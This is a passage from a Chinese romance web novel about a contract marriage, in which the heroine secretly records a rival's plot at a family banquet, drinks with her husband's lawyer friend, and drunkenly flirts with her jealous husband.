“去吧,但是注意安全。天黑容易迷路,如果找不到方向,记得打我电话。”
宴舟叮嘱道。
“好。”
她乖乖点头,披上外套起身。
“等等。”
宴舟又握住她手腕,将自己宽大的西装也递给她,“外面冷,穿上。”
“我有外套的……”
沈词低语。
宴舟脱掉外套,里面便只剩下紧身的黑色西装马甲和纯白衬衫,马甲勒出他精瘦又结实的腰腹,衬衫被臂环箍出若隐若现的肌肉,他的身材将宽肩窄腰四个字诠释地淋漓尽致。
她看得眼睛都快移不开了,一时竟忘了去接他递来的西装。
“嗯?”
宴舟喉咙里溢出一声低沉的响,唤回她神游的思绪。
“我穿,我穿。”
沈词忙不迭接过宴舟的西装外套披在自己身上,衣服还残留着宴舟温暖的体温,又是那缕熟悉的木香侵入她的皮肤和神识,再一点点蚕食她的理智。
穿上他的外套,就好似被他亲自抱着一样,极具安全感。
宴舟还命佣人给沈词换了一双更舒适保暖的平底鞋,夜里路不好走,园内的青石板偶有小石子掉落,他可不放心沈词穿高跟鞋出去散心。
况且她明显还没有驯服高跟鞋,否则也不会平地都能摔跤。
他看着沈词换好鞋子,这才对她说:“去吧,有任何事都可以打我电话。”
“好,我会的。”
沈词攥着手机离开宴会厅,她顺着长廊来到一处相对僻静的地方,大口呼吸着新鲜空气。静了一会儿,她感到自己慌乱的心跳平复了不少,耳畔嘈杂的交谈声随着夜色一同渐渐隐去。
她仰起头望向伸手不见五指的漆黑苍穹,苍穹之上悬挂着一轮皎洁的明月,聆听少女孤独的心事。
倾泻而下的月华将她腕上的镯子衬得愈发晶莹剔透,睁大眼睛仔细瞧去,那镯子里面竟同样有月光流转。
还是要想办法把镯子还回去,她想。
别的礼物都可以当做普通的财产,甚至可以视为她扮演宴舟新婚妻子的劳动报酬,但爷爷给的这只镯子是宴家的传家宝,这是她无论如何都不能收的。
她能以这种身份陪在宴舟身边就已经很满足了。
她从来不敢肖想能力范围之外的存在。
沈词一个人在园林水榭之中待了一会儿,感觉到差不多缓过来了,便顺着原路返回。
然而她才绕过一个弯,恍惚间听到有人在墙后说话。
她没有偷听旁人讲话的癖好,脚步顿了顿,准备继续往回走。
就在这个时候,说话的人提到了她的名字。
“我不管,宴舟哥哥和那个叫沈词的女人必须离婚。”
沈词意外挑眉,自己不过是出来散散心,竟然还吃到了自己的瓜?
既然提到了她的名字,那她自然不能再坐视不理,而是竖着耳朵继续听下去。
“宴舟哥哥只能是我的。”
“我喜欢他喜欢了这么多年,凭什么让别人捷足先登?”
“更何况还是一个没背景的普通人,她拿什么跟我争。”
说话人的嗓门算不上大,但听上去略微有些尖锐,还夹杂了一点气急败坏在里面。
沈词在心里想了一遍今晚见到的这些人,会叫“宴舟哥哥”的好像只有后来已出现就带着敌意的女孩,貌似是叫赵蓁意来着。
她正在疑惑怎么没听到另外一个人说话,一道更加成熟沧桑的声音就响了起来。
那个人一直等到赵蓁意牢骚都发完了才开口。
“蓁蓁啊,伯母知道你是个好孩子,但是感情这种事讲究缘分,结婚更是双方你情我愿的事情。如今宴家是宴舟当家做主,你刚才也看见了,老爷子更是直接把象征继承人身份的传家手镯都给了沈词,这足以说明她在老爷子心里的重量。”
“听伯母一句劝,莫要强求。除非你能让宴舟改变主意,否则做什么都是无用功。”
“可是伯母,您当年可是说好会帮忙撮合我和宴舟哥哥的。知道您在宴家日子不好过,这么多年来我们赵家也没少在背后支持您和明珠,您不能说话不算话。”
咦。
墙后面正和赵蓁意说话的人居然是宴舟的继母白芷欣?难怪方才没在宴会看到她和宴明珠,原来是和赵蓁意在一起。
宴舟曾说他和这位继母关系一般,包括继妹宴明珠在内,宴舟和她们母女二人的相处模式长期处于不冷不淡的状态,可能也就比宴家的远房亲戚亲近一点点,但也就一点点而已。
谈话涉及到她自己和宴舟,沈词想了想,决定还是留个底比较保险。
她打开了录音键,接着听下去:
“再说了,伯母您真的甘心老爷子把家产全都给宴舟和他大哥,要是沈词和宴舟哥哥生了孩子,那么您和明珠很可能一分钱都拿不到,您这么多年在宴家所做的努力竹篮打水一场空。”
“伯母,只有我嫁到宴家,嫁给宴舟哥哥,才能保住您和明珠往后的荣华富贵。伯母,我是真心喜欢宴舟哥哥的,您就成全我吧。”
“这事我说了不算。”
白芷欣叹了口气,“宴家真正拿主意的就是宴老爷子和宴舟,我和明珠都没什么话语权。”
“那您知道宴舟哥哥为什么和那个叫沈词的女人结婚吗?我刚才叫人去查过了,不管是家世还是长相,她都没有特别的地方,宴舟哥哥为什么非她不可?”
“我也不清楚。就是半年前他忽然在家族群里发了一张结婚证照片,说自己已经结婚了。但在这之前就只有老爷子见过沈词,我们大家今晚都是第一次见到她。”
“这种情况要么是宴舟把她保护得很好,不想让她卷进圈内的风波,要么就是假结婚骗一骗老爷子。”
“最好是后者。”
赵蓁意冷哼一声,“总之我会盯着他们的,只要抓到假结婚的把柄,我就去爷爷那里告发这个骗财骗色的女人!”
沈词:“……”
她暗自抹了把汗。
她倒是也想骗色,然而她和宴舟至今相敬如宾,别说是上床了,亲都没正经亲过一回。
这么想她还亏了呢。
沈词听得差不多了,再录下去也没什么意思,她把手机揣进西装口袋,若无其事地往回走。
等她回了宴会厅,发现熙熙攘攘的客人散去不少,留下来的基本都是自家人,或者和宴家关系非常亲近的人。
“感觉怎么样?”
她一进门,宴舟就走过来了。
“好多了,感觉自己又活过来了。”
沈词取出手机,脱下衣服还给宴舟。
宴舟单手拎着西装外套,指尖缀着她的皮肤香气,他垂眸看了眼温热的触感来源,眸色深了些许。
“小词,原来你在这里,我刚还在找你呢。”
祁屿岸适时插进队伍,打断片刻的旖旎。
“祁先生。”
沈词端着酒杯和祁屿岸碰了下杯,“上次的事情多谢您帮忙,您看什么时候有空,我想请您吃饭表示一下感谢。”
“嗨,就这么点小事你不用放在心上。至于吃饭时间小词你来决定就行,我是一名律师,工作时间比较自由。”
祁屿岸笑容大方爽朗,可是一声又一声的“小词”落在宴舟耳中,令他很是不爽。
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“你们两个很熟?”
宴舟问道。
“啊?”沈词看向他,“我和祁先生不是因为你才认识的吗?今天是我们第二次见面,你又不是不知道。”
“听见了吗?既然不熟,就别叫的那么亲近。”
连他都只能叫她的大名,只有在爷爷面前才能叫“阿词”,祁屿岸这家伙凭什么叫“小词”叫得那么自然。
“还好吧,一个称呼而已?”
“嗯?”
宴舟挑眉,毫不客气地回望过来。
沈词立刻低下脑袋,默默喝了一口酒压压惊。
“没想到咱们宴大少爷竟然还是个严管妻,这么点小醋也要吃?”
祁屿岸嫌弃地瞥了眼宴舟,那眼神好像在说“恋爱脑离我远点”。
“他跟你开玩笑的,祁先生觉得怎么合适怎么来就好。”
她说。
“既然小词都说了怎么合适怎么来,那你一直叫我祁先生是不是也太客气了点?”
祁屿岸喝了口酒,虽说宴舟明确表示和这小姑娘只是协议结婚,但他还是觉着宴舟对她心思不一般,否则怎么会计较一个普通的称呼。
宴舟多半是吃醋了,而吃醋正是动心的伊始。
宴舟怕不是早就对沈词动了心却不自知了。
日后应当有不少好戏看。
祁屿岸觉着自己的推理非常有道理,不由得满意地点点头。
“屿岸哥?”
沈词想了想,叫他。
“这个称呼不错。”
祁屿岸扬了扬眉毛,他特意看向宴舟,似是在对他耀武扬威。
“……”
宴舟正想说点什么,刘诚走了过来,恭敬地表示老爷子找他有事要谈。
“我离开一下,你在这儿别乱跑。”
“要是有不怀好意的人套话,你不用搭理,等我回来。”
他叮嘱道。
沈词点头,“我会的,我就在这儿等你回来,哪儿也不去。”
老爷子喜静,早早就回了卧室歇息,宴舟既上楼去了,沈词就在这儿有一搭没一搭和祁屿岸聊天。
“不如我给你讲讲宴大少爷小时候的糗事吧,你有没有兴趣听?”
祁屿岸和宴舟是发小,他这儿可存了不少宴舟的“珍贵回忆”。
“洗耳恭听。”
沈词又举起杯,多喝了两口红酒。
“诶等一下,你能喝酒吗?可别再像那天晚上一样喝出问题,不然你家宴大少爷可是要找我算账的。”
“红酒……应该没事吧,那天主要是被老板逼着喝了很多白酒,我喝不了白的。”
她晃了晃酒杯,之前夜晚失眠的时候偶尔也会倒一杯热红酒助眠,红酒对她来说最多只会起一点微醺的作用,不像白酒那么烈,一杯就倒。
“那行,我跟你说哦……”
祁屿岸端着酒,他靠近了,一脸的神秘莫测,“宴舟有一次……”
等宴舟谈完事回来,他远远就看见沈词和祁屿岸聊得不亦乐乎,两个人像是相见恨晚,大有一副“把酒话天明”的架势。
他眉头冷蹙,迈着大步走过去。等看见沈词手中空着的酒杯时,宴舟眉头皱得更深了。
“怎么又喝了这么多酒?”
他握住沈词的手腕,让她借力倒在自己身上。
“哎我先声明,我劝过你老婆了,是她自己说能喝的,这可不关我的事。”
注意到宴舟冷冷的眼刀子,祁屿岸赶忙解释,生怕晚一秒就要被他用眼神活剐了。
沈词半醉半醒,勉强留了一点清醒的意识,可她的动作却不受理智支配。此时她闻见宴舟身上的气息,又靠在他怀里,便大胆地拽住他领带,咧开嘴笑着:“宴学长,你好香啊……”
宴舟:“……”
祁屿岸:“……”
沈词对宴舟的黑脸浑然不知,她搂着他宽厚的肩膀,两只手乱摸,“帅哥,晚上一起睡觉吗?”
宴舟深吸一口气,二话不说打横抱起沈词,让她脑袋面朝自己的胸膛,抱着人往二楼卧室走去。